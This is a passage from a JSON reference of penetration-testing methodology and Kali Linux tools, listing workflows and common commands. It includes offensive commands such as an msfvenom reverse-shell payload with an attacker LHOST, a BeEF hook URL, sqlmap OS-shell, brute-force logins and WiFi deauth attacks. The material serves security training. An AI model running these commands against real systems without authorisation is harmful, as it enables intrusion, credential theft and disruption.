                "nessus",
                "qualys"
              ],
              "workflow": [
                "1. Configure scan policies",
                "2. Run comprehensive scans",
                "3. Review and validate findings",
                "4. Create prioritized vulnerability list"
              ]
            },
            "manual_testing": {
              "tools": [
                "burpsuite",
                "owasp_zap",
                "sqlmap"
              ],
              "workflow": [
                "1. Proxy web traffic through Burp/ZAP",
                "2. Identify injection points",
                "3. Test for common vulnerabilities",
                "4. Validate with specialized tools"
              ]
            }
          },
          "5_exploitation": {
            "description": "Attempting to exploit identified vulnerabilities",
            "preparation": {
              "tools": [
                "searchsploit",
                "metasploit",
                "exploit-db"
              ],
              "workflow": [
                "1. Search for existing exploits",
                "2. Understand exploit requirements",
                "3. Prepare payload and listener",
                "4. Test in lab environment first"
              ]
            },
            "execution": {
              "tools": [
                "metasploit",
                "custom_exploits",
                "sqlmap"
              ],
              "workflow": [
                "1. Configure exploit parameters",
                "2. Set up listener/handler",
                "3. Execute exploit",
                "4. Verify successful exploitation"
              ]
            }
          },
          "6_post_exploitation": {
            "description": "Actions after gaining initial access",
            "privilege_escalation": {
              "windows": {
                "tools": [
                  "winpeas",
                  "powersploit",
                  "mimikatz"
                ],
                "workflow": [
                  "1. Enumerate system information",
                  "2. Check for misconfigurations",
                  "3. Look for stored credentials",
                  "4. Exploit identified weaknesses"
                ]
              },
              "linux": {
                "tools": [
                  "linpeas",
                  "linenum",
                  "linux-exploit-suggester"
                ],
                "workflow": [
                  "1. Check sudo privileges",
                  "2. Search for SUID binaries",
                  "3. Enumerate running services",
                  "4. Check for kernel exploits"
                ]
              }
            },
            "persistence": {
              "tools": [
                "metasploit",
                "empire",
                "covenant"
              ],
              "techniques": [
                "Registry modifications",
                "Scheduled tasks",
                "Service creation",
                "Backdoor accounts"
              ]
            },
            "lateral_movement": {
              "tools": [
                "psexec",
                "wmiexec",
                "evil-winrm"
              ],
              "techniques": [
                "Pass-the-hash",
                "Pass-the-ticket",
                "RDP hijacking",
                "SSH pivoting"
              ]
            }
          },
          "7_reporting": {
            "description": "Documenting findings and recommendations",
            "tools": [
              "dradis",
              "faraday",
              "serpico"
            ],
            "components": [
              "Executive summary",
              "Technical findings",
              "Risk ratings",
              "Remediation recommendations",
              "Evidence and screenshots"
            ]
          }
        },
        "attack_scenarios": {
          "web_application_testing": {
            "methodology": "OWASP Testing Guide",
            "phases": {
              "information_gathering": {
                "tools": [
                  "burpsuite",
                  "dirb",
                  "gobuster"
                ],
                "tasks": [
                  "Spider the application",
                  "Identify entry points",
                  "Map application structure"
                ]
              },
              "authentication_testing": {
                "tools": [
                  "burpsuite",
                  "hydra",
                  "wfuzz"
                ],
                "tests": [
                  "Password brute-force",
                  "Session management",
                  "Password reset flaws"
                ]
              },
              "injection_testing": {
                "tools": [
                  "sqlmap",
                  "commix",
                  "burpsuite"
                ],
                "types": [
                  "SQL injection",
                  "Command injection",
                  "LDAP injection",
                  "XPath injection"
                ]
              },
              "client_side_testing": {
                "tools": [
                  "burpsuite",
                  "beef",
                  "owasp_zap"
                ],
                "tests": [
                  "XSS testing",
                  "CSRF testing",
                  "Clickjacking",
                  "DOM-based vulnerabilities"
                ]
              }
            }
          },
          "network_penetration_testing": {
            "external_assessment": {
              "tools": [
                "nmap",
                "metasploit",
                "hydra"
              ],
              "workflow": [
                "1. External reconnaissance",
                "2. Perimeter scanning",
                "3. Service exploitation",
                "4. Post-exploitation from DMZ"
              ]
            },
            "internal_assessment": {
              "tools": [
                "responder",
                "bloodhound",
                "mimikatz"
              ],
              "workflow": [
                "1. Network discovery",
                "2. Credential harvesting",
                "3. Privilege escalation",
                "4. Domain compromise"
              ]
            }
          },
          "wireless_assessment": {
            "tools": [
              "aircrack-ng",
              "wifite",
              "reaver"
            ],
            "workflow": [
              "1. Identify wireless networks",
              "2. Capture handshakes/PMKID",
              "3. Attempt WPS attacks",
              "4. Crack captured hashes",
              "5. Test for rogue access points"
            ]
          },
          "social_engineering": {
            "tools": [
              "set",
              "gophish",
              "beef"
            ],
            "attack_vectors": [
              "Phishing emails",
              "Vishing (voice phishing)",
              "Physical access attempts",
              "USB drop attacks",
              "Pretexting scenarios"
            ]
          }
        },
        "tool_combinations": {
          "recon_chain": {
            "description": "Comprehensive reconnaissance workflow",
            "sequence": [
              "theharvester -> Gather emails/subdomains",
              "shodan -> Find exposed services",
              "nmap -> Detailed port scanning",
              "searchsploit -> Find relevant exploits"
            ]
          },
          "web_attack_chain": {
            "description": "Web application attack workflow",
            "sequence": [
              "dirb/gobuster -> Find hidden content",
              "nikto -> Identify vulnerabilities",
              "burpsuite -> Manual testing",
              "sqlmap -> Exploit SQL injection",
              "beef -> Client-side exploitation"
            ]
          },
          "network_attack_chain": {
            "description": "Network compromise workflow",
            "sequence": [
              "nmap -> Service discovery",
              "metasploit -> Exploitation",
              "mimikatz -> Credential extraction",
              "psexec -> Lateral movement",
              "empire -> Command and control"
            ]
          },
          "wireless_attack_chain": {
            "description": "Wireless network attack workflow",
            "sequence": [
              "airmon-ng -> Enable monitor mode",
              "airodump-ng -> Capture packets",
              "aireplay-ng -> Deauth clients",
              "aircrack-ng -> Crack passwords",
              "bettercap -> MITM attacks"
            ]
          }
        }
      },
      "quick_reference.json": {
        "common_commands": {
          "initial_recon": [
            "nmap -sn 192.168.1.0/24  # Host discovery",
            "nmap -sV -sC -O target  # Service and OS detection",
            "dirb http://target  # Web directory enumeration",
            "nikto -h http://target  # Web vulnerability scan"
          ],
          "exploitation": [
            "searchsploit apache 2.4  # Search for exploits",
            "msfconsole  # Start Metasploit",
            "sqlmap -u 'http://target/page?id=1'  # SQL injection",
            "hydra -l admin -P passwords.txt ssh://target  # Brute force"
          ],
          "post_exploitation": [
            "python -c 'import pty;pty.spawn(\"/bin/bash\")'  # Spawn TTY",
            "sudo -l  # Check sudo privileges",
            "find / -perm -u=s -type f 2>/dev/null  # Find SUID binaries",
            "netstat -tulpn  # Check network connections"
          ]
        },
        "tool_categories_summary": {
          "information_gathering": 8,
          "vulnerability_analysis": 5,
          "web_application_analysis": 7,
          "password_attacks": 6,
          "wireless_attacks": 4,
          "exploitation_tools": 4,
          "sniffing_spoofing": 5,
          "post_exploitation": 4,
          "forensics": 4,
          "reverse_engineering": 4,
          "reporting": 3
        }
      },
      "kali_tools_comprehensive.json": {
        "metadata": {
          "collection_date": "2025-08-23T15:13:22.808429",
          "version": "2024.1",
          "total_tools": 54,
          "categories": [
            "information_gathering",
            "vulnerability_analysis",
            "web_application_analysis",
            "password_attacks",
            "wireless_attacks",
            "exploitation_tools",
            "sniffing_spoofing",
            "post_exploitation",
            "forensics",
            "reverse_engineering",
            "reporting"
          ]
        },
        "information_gathering": {
          "description": "Tools for reconnaissance and information collection",
          "tools": {
            "nmap": {
              "name": "Nmap",
              "description": "Network exploration tool and security/port scanner",
              "category": "Network Scanner",
              "when_to_use": [
                "Initial reconnaissance phase",
                "Network discovery and mapping",
                "Service and OS detection",
                "Vulnerability scanning",
                "Firewall/IDS evasion testing"
              ],
              "common_commands": {
                "basic_scan": "nmap -sV -sC -O target",
                "stealth_scan": "nmap -sS -T2 target",
                "full_port_scan": "nmap -p- target",
                "udp_scan": "nmap -sU target",
                "script_scan": "nmap --script vuln target",
                "aggressive_scan": "nmap -A target",
                "subnet_scan": "nmap 192.168.1.0/24"
              },
              "use_cases": {
                "network_discovery": "Identify live hosts on a network",
                "port_scanning": "Find open ports and services",
                "os_detection": "Determine operating system versions",
                "vulnerability_assessment": "Identify potential vulnerabilities",
                "compliance_testing": "Verify security configurations"
              },
              "prerequisites": [
                "Network access",
                "Target IP/hostname"
              ],
              "output_formats": [
                "XML",
                "Grepable",
                "Normal",
                "Script Kiddie"
              ],
              "skill_level": "Beginner to Advanced",
              "legal_considerations": "Only scan networks you own or have permission to test"
            },
            "masscan": {
              "name": "Masscan",
              "description": "Fastest Internet port scanner, asynchronous TCP port scanner",
              "category": "Port Scanner",
              "when_to_use": [
                "Large-scale port scanning",
                "Internet-wide surveys",
                "Quick initial reconnaissance",
                "When speed is priority over accuracy"
              ],
              "common_commands": {
                "basic_scan": "masscan -p80,443 192.168.1.0/24",
                "rate_limited": "masscan -p0-65535 target --rate=1000",
                "banner_grab": "masscan -p80 target --banners",
                "output_to_file": "masscan -p22,80,443 target -oX output.xml"
              },
              "use_cases": {
                "rapid_discovery": "Quick identification of open ports",
                "large_networks": "Scanning Class A/B networks",
                "initial_recon": "Fast preliminary scanning"
              },
              "prerequisites": [
                "Root/sudo access",
                "Network connectivity"
              ],
              "skill_level": "Intermediate"
            },
            "recon-ng": {
              "name": "Recon-ng",
              "description": "Full-featured web reconnaissance framework",
              "category": "OSINT Framework",
              "when_to_use": [
                "OSINT gathering",
                "Social media reconnaissance",
                "Domain/IP investigation",
                "Contact harvesting",
                "API-based data collection"
              ],
              "common_commands": {
                "start": "recon-ng",
                "workspace": "workspaces create target_name",
                "modules": "modules search",
                "install_module": "marketplace install module_name",
                "run_module": "modules load module_name; run"
              },
              "modules_categories": [
                "Discovery modules",
                "Exploitation modules",
                "Import modules",
                "Recon modules",
                "Reporting modules"
              ],
              "skill_level": "Intermediate"
            },
            "theharvester": {
              "name": "TheHarvester",
              "description": "E-mail, subdomain and people names harvester",
              "category": "OSINT Tool",
              "when_to_use": [
                "Email address collection",
                "Subdomain enumeration",
                "Employee name gathering",
                "Virtual host discovery"
              ],
              "common_commands": {
                "basic_search": "theharvester -d domain.com -b google",
                "all_sources": "theharvester -d domain.com -b all",
                "limit_results": "theharvester -d domain.com -b google -l 500",
                "save_results": "theharvester -d domain.com -b all -f output"
              },
              "data_sources": [
                "Google",
                "Bing",
                "Baidu",
                "LinkedIn",
                "Twitter",
                "GitHub",
                "Shodan",
                "Hunter.io"
              ],
              "skill_level": "Beginner"
            },
            "shodan": {
              "name": "Shodan",
              "description": "Search engine for Internet-connected devices",
              "category": "IoT/Device Search",
              "when_to_use": [
                "IoT device discovery",
                "Exposed database finding",
                "Vulnerable system identification",
                "Network device enumeration"
              ],
              "common_commands": {
                "init_api": "shodan init API_KEY",
                "host_info": "shodan host IP_ADDRESS",
                "search": "shodan search apache",
                "count": "shodan count apache country:US",
                "download": "shodan download results apache",
                "parse": "shodan parse --fields ip_str,port results.json.gz"
              },
              "search_filters": [
                "port:",
                "country:",
                "hostname:",
                "os:",
                "city:",
                "org:",
                "before:",
                "after:"
              ],
              "skill_level": "Beginner to Intermediate"
            },
            "maltego": {
              "name": "Maltego",
              "description": "Interactive data mining tool for link analysis",
              "category": "OSINT/Link Analysis",
              "when_to_use": [
                "Relationship mapping",
                "Infrastructure analysis",
                "Social network analysis",
                "Threat intelligence gathering"
              ],
              "transform_categories": [
                "DNS transforms",
                "Email transforms",
                "Person transforms",
                "Social media transforms",
                "Infrastructure transforms"
              ],
              "skill_level": "Intermediate to Advanced"
            },
            "dnsenum": {
              "name": "DNSenum",
              "description": "DNS enumeration tool",
              "category": "DNS Enumeration",
              "when_to_use": [
                "DNS record enumeration",
                "Subdomain discovery",
                "Zone transfer attempts",
                "MX record identification"
              ],
              "common_commands": {
                "basic_enum": "dnsenum domain.com",
                "with_threads": "dnsenum --threads 5 domain.com",
                "subdomain_brute": "dnsenum -f wordlist.txt domain.com",
                "save_output": "dnsenum -o output.xml domain.com"
              },
              "skill_level": "Beginner"
            },
            "fierce": {
              "name": "Fierce",
              "description": "DNS reconnaissance tool for locating non-contiguous IP space",
              "category": "DNS Scanner",
              "when_to_use": [
                "IP range discovery",
                "DNS server identification",
                "Subdomain enumeration",
                "Zone transfer testing"
              ],
              "common_commands": {
                "basic_scan": "fierce --domain example.com",
                "dns_server": "fierce --domain example.com --dns-server 8.8.8.8",
                "subdomain_wordlist": "fierce --domain example.com --subdomain-file wordlist.txt"
              },
              "skill_level": "Beginner to Intermediate"
            }
          }
        },
        "vulnerability_analysis": {
          "description": "Tools for identifying and analyzing vulnerabilities",
          "tools": {
            "openvas": {
              "name": "OpenVAS",
              "description": "Full-featured vulnerability scanner",
              "category": "Vulnerability Scanner",
              "when_to_use": [
                "Comprehensive vulnerability assessment",
                "Compliance scanning",
                "Network security audits",
                "Continuous vulnerability monitoring"
              ],
              "scan_types": [
                "Full and fast",
                "Full and deep",
                "Full and very deep",
                "System discovery",
                "Custom scan configs"
              ],
              "features": [
                "50,000+ vulnerability tests",
                "Authenticated scanning",
                "Compliance checking",
                "Report generation"
              ],
              "skill_level": "Intermediate"
            },
            "nikto": {
              "name": "Nikto",
              "description": "Web server scanner",
              "category": "Web Vulnerability Scanner",
              "when_to_use": [
                "Web server misconfiguration detection",
                "Outdated software identification",
                "Dangerous file detection",
                "Initial web app assessment"
              ],
              "common_commands": {
                "basic_scan": "nikto -h http://target.com",
                "ssl_scan": "nikto -h https://target.com -ssl",
                "specific_port": "nikto -h target.com -p 8080",
                "output_html": "nikto -h target.com -o report.html -Format html",
                "tuning_options": "nikto -h target.com -Tuning 123456789"
              },
              "tuning_options": {
                "1": "Interesting files",
                "2": "Misconfiguration",
                "3": "Information disclosure",
                "4": "Injection (XSS/Script/HTML)",
                "5": "Remote file retrieval",
                "6": "Denial of Service",
                "7": "Remote file upload",
                "8": "Command execution",
                "9": "SQL injection"
              },
              "skill_level": "Beginner"
            },
            "wpscan": {
              "name": "WPScan",
              "description": "WordPress vulnerability scanner",
              "category": "CMS Scanner",
              "when_to_use": [
                "WordPress security assessment",
                "Plugin vulnerability detection",
                "Theme vulnerability scanning",
                "User enumeration",
                "Weak password detection"
              ],
              "common_commands": {
                "basic_scan": "wpscan --url http://target.com",
                "enumerate_all": "wpscan --url http://target.com -e ap,at,u",
                "aggressive": "wpscan --url http://target.com --aggressive",
                "password_attack": "wpscan --url http://target.com -U admin -P passwords.txt",
                "api_token": "wpscan --url http://target.com --api-token YOUR_TOKEN"
              },
              "enumeration_options": {
                "p": "Popular plugins",
                "vp": "Vulnerable plugins",
                "ap": "All plugins",
                "t": "Popular themes",
                "vt": "Vulnerable themes",
                "at": "All themes",
                "u": "Users"
              },
              "skill_level": "Beginner to Intermediate"
            },
            "sqlmap": {
              "name": "SQLMap",
              "description": "Automatic SQL injection and database takeover tool",
              "category": "SQL Injection Tool",
              "when_to_use": [
                "SQL injection testing",
                "Database enumeration",
                "Database dumping",
                "Privilege escalation via SQL",
                "OS command execution via SQL"
              ],
              "common_commands": {
                "basic_test": "sqlmap -u 'http://target.com/page.php?id=1'",
                "post_data": "sqlmap -u http://target.com --data='user=admin&pass=pass'",
                "cookie_injection": "sqlmap -u http://target.com --cookie='session=abc123'",
                "dump_database": "sqlmap -u URL -D database --dump",
                "os_shell": "sqlmap -u URL --os-shell",
                "batch_mode": "sqlmap -u URL --batch",
                "risk_level": "sqlmap -u URL --level=5 --risk=3"
              },
              "injection_techniques": {
                "B": "Boolean-based blind",
                "E": "Error-based",
                "U": "Union query-based",
                "S": "Stacked queries",
                "T": "Time-based blind",
                "Q": "Inline queries"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "bed": {
              "name": "BED",
              "description": "Buffer overflow detection tool",
              "category": "Fuzzer",
              "when_to_use": [
                "Buffer overflow testing",
                "Protocol fuzzing",
                "Service crash testing"
              ],
              "skill_level": "Advanced"
            }
          }
        },
        "web_application_analysis": {
          "description": "Tools for analyzing and testing web applications",
          "tools": {
            "burpsuite": {
              "name": "Burp Suite",
              "description": "Integrated platform for web application security testing",
              "category": "Web App Testing Platform",
              "when_to_use": [
                "Manual web app testing",
                "Automated scanning",
                "API testing",
                "Session manipulation",
                "Custom exploit development"
              ],
              "key_features": [
                "Proxy interceptor",
                "Scanner (Pro version)",
                "Intruder for fuzzing",
                "Repeater for manual testing",
                "Sequencer for randomness testing",
                "Decoder/Encoder",
                "Extender for plugins"
              ],
              "common_workflows": {
                "intercept_modify": "Proxy -> Intercept -> Modify -> Forward",
                "scanning": "Target -> Scan -> Review issues",
                "fuzzing": "Send to Intruder -> Configure positions -> Start attack",
                "session_testing": "Send to Repeater -> Modify -> Send"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "owasp_zap": {
              "name": "OWASP ZAP",
              "description": "Zed Attack Proxy - Free web app security scanner",
              "category": "Web App Scanner",
              "when_to_use": [
                "Automated security testing",
                "CI/CD integration",
                "API security testing",
                "Passive scanning during browsing"
              ],
              "scan_modes": {
                "safe": "Passive scanning only",
                "protected": "Scanner won't attack certain URLs",
                "standard": "Active and passive scanning",
                "attack": "Full attack mode"
              },
              "common_commands": {
                "gui_mode": "zaproxy",
                "daemon_mode": "zap.sh -daemon -port 8080",
                "quick_scan": "zap.sh -quickurl http://target.com",
                "api_scan": "zap.sh -cmd -quickurl http://api.target.com"
              },
              "skill_level": "Beginner to Intermediate"
            },
            "dirb": {
              "name": "DIRB",
              "description": "Web content scanner for hidden directories and files",
              "category": "Directory Brute-forcer",
              "when_to_use": [
                "Hidden directory discovery",
                "Backup file detection",
                "Admin panel finding",
                "Configuration file discovery"
              ],
              "common_commands": {
                "basic_scan": "dirb http://target.com",
                "custom_wordlist": "dirb http://target.com /path/to/wordlist.txt",
                "recursive": "dirb http://target.com -r",
                "extensions": "dirb http://target.com -X .php,.txt,.bak",
                "authentication": "dirb http://target.com -u username:password"
              },
              "skill_level": "Beginner"
            },
            "gobuster": {
              "name": "Gobuster",
              "description": "Fast directory/file & DNS busting tool",
              "category": "Content Discovery",
              "when_to_use": [
                "Fast directory enumeration",
                "DNS subdomain discovery",
                "Virtual host discovery",
                "S3 bucket enumeration"
              ],
              "modes": {
                "dir": "Directory/file enumeration",
                "dns": "DNS subdomain enumeration",
                "vhost": "Virtual host enumeration",
                "s3": "S3 bucket enumeration"
              },
              "common_commands": {
                "dir_mode": "gobuster dir -u http://target.com -w wordlist.txt",
                "dns_mode": "gobuster dns -d target.com -w subdomains.txt",
                "vhost_mode": "gobuster vhost -u http://target.com -w vhosts.txt",
                "with_extensions": "gobuster dir -u http://target.com -w wordlist.txt -x php,txt,html",
                "threads": "gobuster dir -u http://target.com -w wordlist.txt -t 50"
              },
              "skill_level": "Beginner"
            },
            "ffuf": {
              "name": "FFUF",
              "description": "Fast web fuzzer",
              "category": "Web Fuzzer",
              "when_to_use": [
                "Parameter fuzzing",
                "Directory discovery",
                "Virtual host discovery",
                "Header fuzzing"
              ],
              "common_commands": {
                "basic_fuzz": "ffuf -w wordlist.txt -u http://target.com/FUZZ",
                "post_data": "ffuf -w wordlist.txt -u http://target.com -d 'param=FUZZ'",
                "header_fuzz": "ffuf -w wordlist.txt -u http://target.com -H 'Header: FUZZ'",
                "match_status": "ffuf -w wordlist.txt -u http://target.com/FUZZ -mc 200,301",
                "filter_size": "ffuf -w wordlist.txt -u http://target.com/FUZZ -fs 1234"
              },
              "skill_level": "Intermediate"
            },
            "wfuzz": {
              "name": "Wfuzz",
              "description": "Web application fuzzer",
              "category": "Web Fuzzer",
              "when_to_use": [
                "Parameter brute-forcing",
                "Authentication testing",
                "SQL injection fuzzing",
                "XSS payload testing"
              ],
              "common_commands": {
                "basic": "wfuzz -c -z file,wordlist.txt http://target.com/FUZZ",
                "post_fuzzing": "wfuzz -c -z file,wordlist.txt -d 'user=FUZZ&pass=FUZZ' http://target.com/login",
                "header_fuzzing": "wfuzz -c -z file,wordlist.txt -H 'Cookie: FUZZ' http://target.com",
                "hide_responses": "wfuzz -c -z file,wordlist.txt --hc 404 http://target.com/FUZZ"
              },
              "skill_level": "Intermediate"
            },
            "commix": {
              "name": "Commix",
              "description": "Command injection exploiter",
              "category": "Command Injection Tool",
              "when_to_use": [
                "OS command injection testing",
                "Blind command injection detection",
                "Time-based injection testing"
              ],
              "common_commands": {
                "basic_test": "commix -u 'http://target.com/page.php?id=1'",
                "post_method": "commix -u http://target.com --data='param=value'",
                "cookie_injection": "commix -u http://target.com --cookie='session=test'",
                "os_shell": "commix -u URL --os-cmd='whoami'"
              },
              "skill_level": "Intermediate"
            }
          }
        },
        "password_attacks": {
          "description": "Tools for password cracking and authentication attacks",
          "tools": {
            "john": {
              "name": "John the Ripper",
              "description": "Fast password cracker",
              "category": "Password Cracker",
              "when_to_use": [
                "Hash cracking",
                "Password recovery",
                "Password strength testing",
                "Wordlist generation"
              ],
              "common_commands": {
                "basic_crack": "john hashes.txt",
                "wordlist_mode": "john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt",
                "show_cracked": "john --show hashes.txt",
                "specific_format": "john --format=md5 hashes.txt",
                "rules": "john --wordlist=wordlist.txt --rules hashes.txt",
                "incremental": "john --incremental hashes.txt"
              },
              "supported_formats": [
                "MD5",
                "SHA1",
                "SHA256",
                "SHA512",
                "NTLM",
                "Kerberos",
                "WPA/WPA2",
                "ZIP",
                "RAR",
                "PDF",
                "Office documents"
              ],
              "skill_level": "Intermediate"
            },
            "hashcat": {
              "name": "Hashcat",
              "description": "Advanced GPU-based password recovery",
              "category": "Password Cracker",
              "when_to_use": [
                "GPU-accelerated cracking",
                "Large hash lists",
                "Complex attack modes",
                "Rule-based attacks"
              ],
              "attack_modes": {
                "0": "Straight (dictionary)",
                "1": "Combination",
                "3": "Brute-force",
                "6": "Hybrid wordlist + mask",
                "7": "Hybrid mask + wordlist"
              },
              "common_commands": {
                "dictionary": "hashcat -m 0 -a 0 hashes.txt wordlist.txt",
                "brute_force": "hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a",
                "rules": "hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule",
                "show_cracked": "hashcat -m 0 hashes.txt --show",
                "benchmark": "hashcat -b"
              },
              "skill_level": "Advanced"
            },
            "hydra": {
              "name": "Hydra",
              "description": "Fast network authentication cracker",
              "category": "Network Login Cracker",
              "when_to_use": [
                "Online password attacks",
                "Service authentication testing",
                "Brute-force login attempts",
                "Password spraying"
              ],
              "supported_protocols": [
                "SSH",
                "FTP",
                "HTTP/HTTPS",
                "SMB",
                "RDP",
                "VNC",
                "Telnet",
                "LDAP",
                "MySQL",
                "PostgreSQL",
                "MSSQL",
                "Oracle",
                "SMTP",
                "POP3",
                "IMAP"
              ],
              "common_commands": {
                "ssh_attack": "hydra -l admin -P passwords.txt ssh://target.com",
                "http_post": "hydra -l admin -P passwords.txt target.com http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'",
                "ftp_attack": "hydra -L users.txt -P passwords.txt ftp://target.com",
                "parallel": "hydra -l admin -P passwords.txt -t 4 ssh://target.com",
                "verbose": "hydra -l admin -P passwords.txt -V ssh://target.com"
              },
              "skill_level": "Intermediate"
            },
            "medusa": {
              "name": "Medusa",
              "description": "Parallel network authentication brute-forcer",
              "category": "Network Login Cracker",
              "when_to_use": [
                "Parallel authentication testing",
                "Multiple host attacks",
                "Protocol-specific attacks"
              ],
              "common_commands": {
                "basic": "medusa -h target.com -u admin -P passwords.txt -M ssh",
                "multiple_users": "medusa -h target.com -U users.txt -P passwords.txt -M ssh",
                "multiple_hosts": "medusa -H hosts.txt -u admin -P passwords.txt -M ssh",
                "specific_port": "medusa -h target.com -u admin -P passwords.txt -M ssh -n 2222"
              },
              "skill_level": "Intermediate"
            },
            "cewl": {
              "name": "CeWL",
              "description": "Custom wordlist generator from websites",
              "category": "Wordlist Generator",
              "when_to_use": [
                "Creating targeted wordlists",
                "Company-specific password lists",
                "Social engineering preparation",
                "Domain-specific dictionaries"
              ],
              "common_commands": {
                "basic_crawl": "cewl http://target.com",
                "depth_control": "cewl -d 3 http://target.com",
                "min_word_length": "cewl -m 6 http://target.com",
                "with_numbers": "cewl --with-numbers http://target.com",
                "save_output": "cewl http://target.com -w wordlist.txt",
                "email_extraction": "cewl -e http://target.com"
              },
              "skill_level": "Beginner"
            },
            "crunch": {
              "name": "Crunch",
              "description": "Wordlist generator",
              "category": "Wordlist Generator",
              "when_to_use": [
                "Custom wordlist creation",
                "Pattern-based passwords",
                "Permutation generation",
                "Charset-specific lists"
              ],
              "common_commands": {
                "basic": "crunch 6 6 abcdef123 -o wordlist.txt",
                "pattern": "crunch 8 8 -t pass@@@@",
                "charset": "crunch 4 6 -f charset.lst mixalpha",
                "permutation": "crunch 1 3 -p abc"
              },
              "skill_level": "Beginner"
            }
          }
        },
        "wireless_attacks": {
          "description": "Tools for wireless network security testing",
          "tools": {
            "aircrack-ng": {
              "name": "Aircrack-ng Suite",
              "description": "Complete suite for WiFi security auditing",
              "category": "WiFi Auditing Suite",
              "when_to_use": [
                "WEP/WPA/WPA2 cracking",
                "Packet capture and injection",
                "Access point testing",
                "Client deauthentication"
              ],
              "suite_tools": {
                "airmon-ng": "Enable monitor mode",
                "airodump-ng": "Packet capture",
                "aireplay-ng": "Packet injection",
                "aircrack-ng": "WEP/WPA cracking",
                "airbase-ng": "Fake AP creation"
              },
              "common_workflows": {
                "monitor_mode": "airmon-ng start wlan0",
                "capture_packets": "airodump-ng wlan0mon",
                "target_capture": "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
                "deauth_attack": "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon",
                "crack_wpa": "aircrack-ng -w wordlist.txt capture.cap"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "reaver": {
              "name": "Reaver",
              "description": "WPS PIN brute-force tool",
              "category": "WPS Cracker",
              "when_to_use": [
                "WPS PIN attacks",
                "Router vulnerability testing",
                "WPS enabled AP testing"
              ],
              "common_commands": {
                "basic_attack": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX",
                "verbose": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv",
                "pixie_dust": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -K 1",
                "delay_settings": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -d 5 -t 5"
              },
              "skill_level": "Intermediate"
            },
            "wifite": {
              "name": "Wifite",
              "description": "Automated wireless attack tool",
              "category": "WiFi Attack Automation",
              "when_to_use": [
                "Automated WiFi auditing",
                "Multiple network testing",
                "Quick security assessments"
              ],
              "features": [
                "WEP cracking",
                "WPA handshake capture",
                "WPS attacks",
                "PMKID attacks"
              ],
              "common_commands": {
                "auto_attack": "wifite",
                "wpa_only": "wifite --wpa",
                "wps_only": "wifite --wps",
                "specific_target": "wifite --bssid XX:XX:XX:XX:XX:XX"
              },
              "skill_level": "Beginner"
            },
            "kismet": {
              "name": "Kismet",
              "description": "Wireless network detector and sniffer",
              "category": "Wireless Detector",
              "when_to_use": [
                "Wireless network discovery",
                "Hidden SSID detection",
                "Client detection",
                "Bluetooth device discovery"
              ],
              "features": [
                "802.11 WiFi detection",
                "Bluetooth detection",
                "RF monitoring",
                "GPS integration"
              ],
              "skill_level": "Intermediate"
            }
          }
        },
        "exploitation_tools": {
          "description": "Tools for exploiting vulnerabilities",
          "tools": {
            "metasploit": {
              "name": "Metasploit Framework",
              "description": "Penetration testing framework",
              "category": "Exploitation Framework",
              "when_to_use": [
                "Vulnerability exploitation",
                "Payload generation",
                "Post-exploitation",
                "Privilege escalation",
                "Persistence establishment"
              ],
              "key_components": {
                "msfconsole": "Main interface",
                "msfvenom": "Payload generator",
                "msfdb": "Database management",
                "msfupdate": "Framework updater"
              },
              "common_commands": {
                "start_console": "msfconsole",
                "search_exploit": "search type:exploit platform:windows",
                "use_module": "use exploit/windows/smb/ms17_010_eternalblue",
                "set_options": "set RHOSTS target.com; set LHOST attacker.com",
                "run_exploit": "exploit",
                "generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
                "handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
              },
              "module_types": {
                "exploits": "Vulnerability exploitation modules",
                "auxiliary": "Scanning and fuzzing modules",
                "post": "Post-exploitation modules",
                "payloads": "Code to run on target",
                "encoders": "Payload encoding",
                "nops": "No-operation generators"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "searchsploit": {
              "name": "SearchSploit",
              "description": "Exploit database search tool",
              "category": "Exploit Database",
              "when_to_use": [
                "Finding public exploits",
                "Vulnerability research",
                "PoC code discovery",
                "CVE correlation"
              ],
              "common_commands": {
                "basic_search": "searchsploit apache 2.4",
                "exact_match": "searchsploit -e 'Apache 2.4.49'",
                "exclude_dos": "searchsploit apache --exclude='Denial'",
                "copy_exploit": "searchsploit -m 12345",
                "examine_exploit": "searchsploit -x 12345",
                "update_db": "searchsploit -u"
              },
              "skill_level": "Beginner to Intermediate"
            },
            "beef": {
              "name": "BeEF",
              "description": "Browser Exploitation Framework",
              "category": "Browser Exploitation",
              "when_to_use": [
                "Client-side attacks",
                "Browser exploitation",
                "Social engineering",
                "XSS exploitation"
              ],
              "features": [
                "Browser hooking",
                "Command modules",
                "Metasploit integration",
                "Social engineering toolkit"
              ],
              "common_usage": {
                "start_beef": "beef-xss",
                "hook_url": "http://attacker:3000/hook.js",
                "admin_panel": "http://localhost:3000/ui/panel"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "social-engineer-toolkit": {
              "name": "SET",
              "description": "Social Engineering Toolkit",
              "category": "Social Engineering",
              "when_to_use": [
                "Phishing campaigns",
                "Credential harvesting",
                "Payload delivery",
                "Website cloning"
              ],
              "attack_vectors": [
                "Spear-phishing attacks",
                "Website attack vectors",
                "Infectious media generator",
                "Wireless access point attack",
                "QRCode attack vector"
              ],
              "common_commands": {
                "start_set": "setoolkit",
                "menu_navigation": "1) Social-Engineering Attacks",
                "website_vectors": "2) Website Attack Vectors",
                "credential_harvester": "3) Credential Harvester Attack Method"
              },
              "skill_level": "Intermediate"
            }
          }
        },
        "sniffing_spoofing": {
          "description": "Network sniffing and spoofing tools",
          "tools": {
            "wireshark": {
              "name": "Wireshark",
              "description": "Network protocol analyzer",
              "category": "Packet Analyzer",
              "when_to_use": [
                "Network troubleshooting",
                "Protocol analysis",
                "Packet inspection",
